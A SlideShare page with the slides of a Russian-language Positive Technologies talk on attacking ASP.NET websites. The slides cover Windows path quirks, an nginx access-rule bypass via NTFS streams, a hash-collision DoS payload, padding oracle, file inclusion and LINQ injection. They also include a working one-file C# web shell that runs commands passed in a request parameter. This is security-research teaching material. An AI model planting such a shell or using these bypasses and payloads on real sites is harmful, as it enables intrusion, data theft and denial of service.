SlideShare a Scribd company logo
ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?
СЛОЖНО, НО МОЖНО!
Positive Technologies
Хорошо забытое старое: файловая система
Устройства DOS и зарезервированные имена:
NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие
необязательно, имена могут использоваться внутри пути
Зарезервированные символы:
< > : "  / | ? *
Регистронезависимость имен:
Filename == FileName == filename == FILENAME
Поддержка коротких имен «8.3»:
LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT
Завершающие символы:
Filename == Filename... == Filename
Хорошо забытое старое: файловая система
Именованные каналы и почтовые слоты (CreateFile):
Hostpipe<name> , Hostmailslot<name>
Альтернативный синтаксис относительных путей:
C:Windowsnotepad.exe == C:notepad.exe , если Windows –
текущий каталог диска C:
Подстановки (FindFirstFile):
< == * , > == ? , " == .
UNC и Unicode пути:
C:WindowsSystem32
HostC$WindowsSystem32
.C:WindowsSystem32
?C:WindowsSystem32
?UNCHostC$WindowsSystem32
Хорошо забытое старое: файловая система
Метатрибуты и альтернативные потоки данных NTFS:
Directory:<Name>:<Type>File:<Name>:<Type>
C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe
C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA
FileName.aspx == FileName.aspx:.jpg
Метатрибуты файлов Метатрибуты индексов
$STANDARD_INFORMATION $INDEX_ROOT
$FILE_NAME $INDEX_ALLOCATION
$DATA $BITMAP
$ATTRIBUTE_LIST
$OBJECT_ID
$REPARSE_POINT
[PT-2012-06] Обход ограничений Nginx
Рейтинг опасности: Средний (5.0)
(AV:N/AC:L/Au:N/C:P/I:N/A:N)
Подверженные версии: Nginx for Windows <= v1.3
Вектор: Удаленный
Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым
URL-адресам в обход правил, определенных в директивах ‘Location’
конфигурации веб-сервера.
Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к
исходному коду веб-приложения и закрытым разделам сайта, обнаружить
новые уязвимости, украсть пароли подключения к базе данных и прочим
сервисам и т.д.
:$I30:$INDEX_ALLOCATION
обрабатывались, как часть имени каталога.
[PT-2012-06] Обход ограничений Nginx
http://hostname/.svn/entries
http://hostname/.svn::$INDEX_ALLOCATION/entries
HTTP/1.1 200 OK
Server: nginx/1.2.0
HTTP/1.1 403 Forbidden
Server: nginx/1.2.0
* стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23
…
location ~/.svn/ {
deny all;
}
…
Архитектура платформы .NET
Повреждения памяти
Взаимодействие с native-библиотеками, использование смешанных
сборок
MS12-025, апрель 2012: - выполнение произвольного кода за
пределами исполняющей среды через переполнение целого и
повреждение кучи в gdiplus.dll при вызове конструктора класса
System.Drawing.Imaging.EncoderParameter.
Небезопасный управляемый код
unsafe void bufferOverflow(string s)
{
char* ptr = stackalloc char[10];
foreach (var c in s)
{
*ptr++ = c
}
}
«Turkish I» и не только
Сравнение строк без учета текущей культуры, может привести к
непредвиденным последствиям:
Английские культуры: I & i
Турецкие культуры: I & ı + İ & i
<%@ Page Language="C#" Culture="Auto" %>
<%@ Import Namespace="System.Globalization" %>
<! DOCTYPE html>
…
<script runat="server">
…
if (Session["mode"].ToLower() != "admin")
…
if (String.Compare(Request["path"]), 0,
"FILE:", 0, 5, true)
…
Коллизии хэшей объектов
System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта
(принимает значения от -2147483648 до 2147483647).
(http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
Коллизии хэшей в ASP.NET (MS11-100)
Штатная ситуация: Не очень штатная ситуация:
3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F
X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&
DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&
LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR
YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&
MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=
=&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE
… over 4Mb form data …
(https://github.com/HybrisDisaster/aspHashDoS)
Хитрый план (post-mortem MS11-100)
1. Рассчитываем 1000 строк с
коллизиями на каждую
комбинацию «версия
.NET»/«аппаратная платформа»
2. Отправляем каждый из
наборов в качестве параметров
POST-запроса
3. Замеряем время ответа на
каждый запрос
4. ???
5. ;)
Web-стек .NET
ASP.NET / MVC
Специфика ASP.NET
Специальные каталоги и файлы:
- App_Browser – определения браузеров
(*.browsers);
- App_Code – исходный код вспомогательных
классов и логики;
- App_Data – хранилища данных;
- App_GlobalResources, App_LocalResources –
ресурсы приложения (*.resx, *.resources);
- App_Themes – темы (*.skin, *.css, images, etc);
- App_WebReferences – ссылки на web-сервисы
(*.wsdl, *.xsd, *.disco, *.discomap);
- Bin – скомпилированные сборки, используемые приложением;
- web.config, web.*.config – конфигурационные файлы, определяющие
настройки web-сервера и приложения.
Специфика ASP.NET
Стандартные HTTP-обработчики:
- WebResource.axd – доступ к статическим ресурсам, внедренным в сборки
приложения.
- ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся
на диске.
Использование:
http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>
Пример:
http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP
8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-
kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1
Где d, зашифрованный параметр:
Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3
8a3a9b
Padding oracle (MS10-070)
Последствия:
– получение ключей, необходимых для шифрования/дешифрования:
 аутентификационных cookies;
 ViewState и Event Validation;
 аргументов для WebRecource.axd и ScriptResource.axd =>
чтение произвольных файлов внутри каталога
приложения
Исправления:
 при ошибке паддинга возвращается обощенная ошибка;
 используется случайное число в качестве IV;
 изменен формат шифруемых строк для их валидации;
 ScriptResource.axd может обрабатывать только *.js файлы.
Специфика ASP.NET
Стандартные HTTP-обработчики:
- Trace.axd – трассировка запросов (доступна только в режиме отладки)
Особенности эксплуатации LFI
Response.WriteFile(<vfilename>)
- позволяет включать любой файл внутри каталога приложения, кроме *.config;
- файл включается статически, выполнения кода не происходит;
- принимает в качестве аргумента виртуальное имя файла.
Server.Execute(<vfilename>)
- позволяет включать любой файл внутри каталога приложения, кроме *.config;
- выполняет обработчик для переданного файла, результат включает в ответ;
- принимает в качестве аргумента виртуальное имя файла.
File.ReadAllText(<filename>)
- позволяет включать любой файл, на который есть права;
- файл включается статически, выполнения кода не происходит;
- принимает в качестве аргумента реальное имя файла.
Минимальный C#-шелл
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%=
Process.Start(
new ProcessStartInfo(
"cmd","/c " + Request["c"]
)
{
UseShellExecute = false,
RedirectStandardOutput = true
}
).StandardOutput.ReadToEnd()
%>
Состояние представления (ViewState)
Предназначено для передачи на
сервер информации об элементах
представления.
- передается в параметре
__VIEWSTATE;
- шифрование и целостность часто
не обеспечиваются;
- используется разработчиками, для
хранения данных сессии на
клиенте, хотя не предназначено
для этого;
- нарушение его целостности может
привести к реализации самых
разнообразных угроз от XSS до
нарушения функциональности
приложения.
Подтверждение запросов и событий
Request Validation – встроенный примитивный WAF, направленный на
предотвращение атак XSS. Блокируются все запросы, содержащие:
&#
< с последующей буквой, !, / и ?
А также, игнорируются сторонние параметры, начинающиеся с __
Event Validation – встроенный механизм валидации
данных событий. Представляет собой параметр
__EVENTVALIDATION, хранящий хэши допустимых
значений элементов форм, событий, ViewState и т.п.
Вопреки бытующему мнению,
неэффективен против CSRF-атак,
при стандартной реализации.
Mass assignment
public class User
{
public int Id
{ get; set; }
public string UserName
{ get; set; }
public string Password
{ get; set; }
public bool IsAdmin
{ get; set; }
}
public class UserController : Controller
{
IUserRepository _userRepository;
public UserController(IUserRepository userRepository) {
_userRepository = userRepository;
}
public ActionResult Edit(int id) {
var user = _userRepository.GetUserById(id);
return View(user);
}
[HttpPost]
public ActionResult Edit(int id, FormCollection collection) {
try {
var user = _userRepository.GetUserById(id);
UpdateModel(user);
_userRepository.SaveUser(user);
return RedirectToAction("Index");
} catch {
return View();
}
}
}
Model: Controller:
Mass assignment
(http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
Внедрение выражений LINQ
LINQ – язык запросов, встроенный в синтаксис .NET-языков.
var result = from item in itemsList
where item.field1 % 2 == 0
orderby item.field2 descending
select new { item.field2, item.field3 };
var result = itemsList
.Where(x => x.field1 % 2 == 0)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
Expression.Lambda<Predicate<int>>(
Expression.Equal(
Expression.Modulo(
parameterN,
Expression.Constant(2)
),
Expression.Constant(0)
),
parameterN);
Внедрение выражений LINQ
Dynamic LINQ – одна из нескольких существующих библиотек для
формирования динамических LINQ-запросов времени исполнения.
Возможности:
- определение выражений строками;
- основные примитивные операции;
- доступ к членам статических и
экземплярных типов данных;
- создание экземпляров типов и
анонимных типов;
Что, если "modifier" формируется
из входных данных и содержит:
0 OR 1 == 1 ?
var modifier = "0";
var result = itemsList
.Where("field1 % 2 == " + modifier)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
Внедрение выражений LINQ
Ограничения инъекций в Dynamic LINQ:
- доступ к полям, свойствам и методам возможен только для типа коллекции
или для достижимых типов, определяемых «белым списком»;
- все части выражения должны выполняться без ошибок, в сообщениях об
ошибках отсутствует полезный вывод;
- инъекции подвержены изолированные части запроса;
Возможности инъекций в Dynamic LINQ:
- обход аутентификации / авторизации;
- неавторизованный доступ к данным коллекции;
- нарушение функционала (при наличии у объектов коллекции statefull-
полей);
- реализация угрозы отказа в обслуживании (DoS).
В других решениях возможна реализация угрозы
удаленного выполнения кода (RCE)
Внедрение выражений LINQ
Демо
Спасибо за внимание!
Вопросы?

More Related Content

What's hot

Functional Programming In JS
Functional Programming In JSFunctional Programming In JS
Functional Programming In JS
Damian Łabas
 
[2019] Spring JPA의 사실과 오해
[2019] Spring JPA의 사실과 오해[2019] Spring JPA의 사실과 오해
[2019] Spring JPA의 사실과 오해
NHN FORWARD
 
Types of insect heads and antennae
Types of insect heads and antennaeTypes of insect heads and antennae
Types of insect heads and antennae
krishnachaitanyatiru2
 
Types of insect wings
Types of insect wingsTypes of insect wings
Types of insect wings
krishnachaitanyatiru2
 
Order neuroptera
Order neuropteraOrder neuroptera
Order neuroptera
Asmat Babar
 
The lazy programmer's guide to writing thousands of tests
The lazy programmer's guide to writing thousands of testsThe lazy programmer's guide to writing thousands of tests
The lazy programmer's guide to writing thousands of tests
Scott Wlaschin
 
Programando em python interfaces graficas com tk
Programando em python   interfaces graficas com tkProgramando em python   interfaces graficas com tk
Programando em python interfaces graficas com tksamuelthiago
 
Entomology up to Orders with the help of Pictures
Entomology up to Orders with the help of Pictures Entomology up to Orders with the help of Pictures
Entomology up to Orders with the help of Pictures
Sheikh Sami Ullah Al-Madani
 
Insect genitalia
Insect genitaliaInsect genitalia
Insect genitalia
Simu Dulai
 
Lec. 7 Body segmentation Structure of thorax & abdomen.ppt
Lec. 7 Body segmentation Structure of thorax & abdomen.pptLec. 7 Body segmentation Structure of thorax & abdomen.ppt
Lec. 7 Body segmentation Structure of thorax & abdomen.ppt
RajuPanse
 
Embryonic and post-embryonic development in insects :its structure, functions...
Embryonic and post-embryonic development in insects :its structure, functions...Embryonic and post-embryonic development in insects :its structure, functions...
Embryonic and post-embryonic development in insects :its structure, functions...
N.m.c.a
 
hymenoptera
 hymenoptera hymenoptera
hymenoptera
Shreedhar Beese
 
A presentation on order orthoptera
A presentation on order orthopteraA presentation on order orthoptera
A presentation on order orthoptera
Kaushar Ali
 
Pollination services and bees
Pollination services and beesPollination services and bees
Pollination services and bees
ABCIC
 
Insect Cuticle and Moulting
Insect Cuticle and MoultingInsect Cuticle and Moulting
Insect Cuticle and Moulting
Bhubanananda Adhikari
 
insect antenne-.pdf
insect antenne-.pdfinsect antenne-.pdf
insect antenne-.pdf
MuhammadUsman870382
 
Cross platform app development with flutter
Cross platform app development with flutterCross platform app development with flutter
Cross platform app development with flutter
Hwan Jo
 
The Kotlin Programming Language
The Kotlin Programming LanguageThe Kotlin Programming Language
The Kotlin Programming Languageintelliyole
 
Bees
BeesBees

What's hot (20)

Functional Programming In JS
Functional Programming In JSFunctional Programming In JS
Functional Programming In JS
 
[2019] Spring JPA의 사실과 오해
[2019] Spring JPA의 사실과 오해[2019] Spring JPA의 사실과 오해
[2019] Spring JPA의 사실과 오해
 
Types of insect heads and antennae
Types of insect heads and antennaeTypes of insect heads and antennae
Types of insect heads and antennae
 
Types of insect wings
Types of insect wingsTypes of insect wings
Types of insect wings
 
Order neuroptera
Order neuropteraOrder neuroptera
Order neuroptera
 
The lazy programmer's guide to writing thousands of tests
The lazy programmer's guide to writing thousands of testsThe lazy programmer's guide to writing thousands of tests
The lazy programmer's guide to writing thousands of tests
 
Programando em python interfaces graficas com tk
Programando em python   interfaces graficas com tkProgramando em python   interfaces graficas com tk
Programando em python interfaces graficas com tk
 
Entomology up to Orders with the help of Pictures
Entomology up to Orders with the help of Pictures Entomology up to Orders with the help of Pictures
Entomology up to Orders with the help of Pictures
 
Insect genitalia
Insect genitaliaInsect genitalia
Insect genitalia
 
Lec. 7 Body segmentation Structure of thorax & abdomen.ppt
Lec. 7 Body segmentation Structure of thorax & abdomen.pptLec. 7 Body segmentation Structure of thorax & abdomen.ppt
Lec. 7 Body segmentation Structure of thorax & abdomen.ppt
 
Embryonic and post-embryonic development in insects :its structure, functions...
Embryonic and post-embryonic development in insects :its structure, functions...Embryonic and post-embryonic development in insects :its structure, functions...
Embryonic and post-embryonic development in insects :its structure, functions...
 
hymenoptera
 hymenoptera hymenoptera
hymenoptera
 
A presentation on order orthoptera
A presentation on order orthopteraA presentation on order orthoptera
A presentation on order orthoptera
 
Pollination services and bees
Pollination services and beesPollination services and bees
Pollination services and bees
 
Insect Cuticle and Moulting
Insect Cuticle and MoultingInsect Cuticle and Moulting
Insect Cuticle and Moulting
 
insect antenne-.pdf
insect antenne-.pdfinsect antenne-.pdf
insect antenne-.pdf
 
Cross platform app development with flutter
Cross platform app development with flutterCross platform app development with flutter
Cross platform app development with flutter
 
The Kotlin Programming Language
The Kotlin Programming LanguageThe Kotlin Programming Language
The Kotlin Programming Language
 
Bees
BeesBees
Bees
 
Antennae
AntennaeAntennae
Antennae
 

Similar to Взломать Web-сайт на ASP.NET? Сложно, но можно!

Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
Positive Hack Days
 
Database (Lecture 14 – database)
Database (Lecture 14 – database)Database (Lecture 14 – database)
Database (Lecture 14 – database)
Noveo
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчика
Alexei Smolyanov
 
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
NETFest
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6Technopark
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиZestranec
 
LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)
Sergey Skvortsov
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
karina krew
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый старт
Antonio
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Timur Shemsedinov
 
Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?
Andrey Karpov
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersPositive Hack Days
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Node.js введение в технологию, КПИ  #ITmeetingKPINode.js введение в технологию, КПИ  #ITmeetingKPI
Node.js введение в технологию, КПИ #ITmeetingKPI
Timur Shemsedinov
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
SQALab
 
Использование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияИспользование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестирования
SQALab
 

Similar to Взломать Web-сайт на ASP.NET? Сложно, но можно! (20)

Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Database (Lecture 14 – database)
Database (Lecture 14 – database)Database (Lecture 14 – database)
Database (Lecture 14 – database)
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчика
 
бегун
бегунбегун
бегун
 
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
.NET Fest 2018. Сергей Калинец. Azure веб разработка здорового человека
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
176023
176023176023
176023
 
LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)LDAP in infrastructure (RootConf 2009)
LDAP in infrastructure (RootConf 2009)
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый старт
 
бегун
бегунбегун
бегун
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
 
Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappers
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Node.js введение в технологию, КПИ  #ITmeetingKPINode.js введение в технологию, КПИ  #ITmeetingKPI
Node.js введение в технологию, КПИ #ITmeetingKPI
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
Использование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияИспользование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестирования
 

More from Vladimir Kochetkov

Практическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHPПрактическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHP
Vladimir Kochetkov
 
Do WAFs dream of static analyzers
Do WAFs dream of static analyzersDo WAFs dream of static analyzers
Do WAFs dream of static analyzers
Vladimir Kochetkov
 
AppSec -- хакерский путь
AppSec -- хакерский путьAppSec -- хакерский путь
AppSec -- хакерский путь
Vladimir Kochetkov
 
Подводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, IПодводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, I
Vladimir Kochetkov
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application Security
Vladimir Kochetkov
 
Современные подходы к SAST
Современные подходы к SASTСовременные подходы к SAST
Современные подходы к SAST
Vladimir Kochetkov
 
Подводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyПодводные камни System.Security.Cryptography
Подводные камни System.Security.Cryptography
Vladimir Kochetkov
 
Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible! Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible!
Vladimir Kochetkov
 
Прикладная теория Application Security
Прикладная теория Application SecurityПрикладная теория Application Security
Прикладная теория Application Security
Vladimir Kochetkov
 
Automated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source CodeAutomated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source CodeVladimir Kochetkov
 
Исключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NETИсключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NET
Vladimir Kochetkov
 
Автоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кодаАвтоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кода
Vladimir Kochetkov
 
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
Vladimir Kochetkov
 
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Vladimir Kochetkov
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Vladimir Kochetkov
 

More from Vladimir Kochetkov (15)

Практическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHPПрактическое использование средств криптографии в .NET, Java и PHP
Практическое использование средств криптографии в .NET, Java и PHP
 
Do WAFs dream of static analyzers
Do WAFs dream of static analyzersDo WAFs dream of static analyzers
Do WAFs dream of static analyzers
 
AppSec -- хакерский путь
AppSec -- хакерский путьAppSec -- хакерский путь
AppSec -- хакерский путь
 
Подводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, IПодводные камни прикладной криптографии, I
Подводные камни прикладной криптографии, I
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application Security
 
Современные подходы к SAST
Современные подходы к SASTСовременные подходы к SAST
Современные подходы к SAST
 
Подводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyПодводные камни System.Security.Cryptography
Подводные камни System.Security.Cryptography
 
Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible! Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible!
 
Прикладная теория Application Security
Прикладная теория Application SecurityПрикладная теория Application Security
Прикладная теория Application Security
 
Automated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source CodeAutomated Patching for Vulnerable Source Code
Automated Patching for Vulnerable Source Code
 
Исключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NETИсключительно простая теория AppSec .NET
Исключительно простая теория AppSec .NET
 
Автоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кодаАвтоматическая генерация патчей для уязвимого исходного кода
Автоматическая генерация патчей для уязвимого исходного кода
 
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
How to Develop a Secure Web Application and Stay in Mind? (PHDays 3)
 
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
 

Взломать Web-сайт на ASP.NET? Сложно, но можно!

  • 1. ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET? СЛОЖНО, НО МОЖНО! Positive Technologies
  • 2. Хорошо забытое старое: файловая система Устройства DOS и зарезервированные имена: NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути Зарезервированные символы: < > : " / | ? * Регистронезависимость имен: Filename == FileName == filename == FILENAME Поддержка коротких имен «8.3»: LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT Завершающие символы: Filename == Filename... == Filename
  • 3. Хорошо забытое старое: файловая система Именованные каналы и почтовые слоты (CreateFile): Hostpipe<name> , Hostmailslot<name> Альтернативный синтаксис относительных путей: C:Windowsnotepad.exe == C:notepad.exe , если Windows – текущий каталог диска C: Подстановки (FindFirstFile): < == * , > == ? , " == . UNC и Unicode пути: C:WindowsSystem32 HostC$WindowsSystem32 .C:WindowsSystem32 ?C:WindowsSystem32 ?UNCHostC$WindowsSystem32
  • 4. Хорошо забытое старое: файловая система Метатрибуты и альтернативные потоки данных NTFS: Directory:<Name>:<Type>File:<Name>:<Type> C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA FileName.aspx == FileName.aspx:.jpg Метатрибуты файлов Метатрибуты индексов $STANDARD_INFORMATION $INDEX_ROOT $FILE_NAME $INDEX_ALLOCATION $DATA $BITMAP $ATTRIBUTE_LIST $OBJECT_ID $REPARSE_POINT
  • 5. [PT-2012-06] Обход ограничений Nginx Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N) Подверженные версии: Nginx for Windows <= v1.3 Вектор: Удаленный Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера. Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д. :$I30:$INDEX_ALLOCATION обрабатывались, как часть имени каталога.
  • 6. [PT-2012-06] Обход ограничений Nginx http://hostname/.svn/entries http://hostname/.svn::$INDEX_ALLOCATION/entries HTTP/1.1 200 OK Server: nginx/1.2.0 HTTP/1.1 403 Forbidden Server: nginx/1.2.0 * стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23 … location ~/.svn/ { deny all; } …
  • 8. Повреждения памяти Взаимодействие с native-библиотеками, использование смешанных сборок MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора класса System.Drawing.Imaging.EncoderParameter. Небезопасный управляемый код unsafe void bufferOverflow(string s) { char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c } }
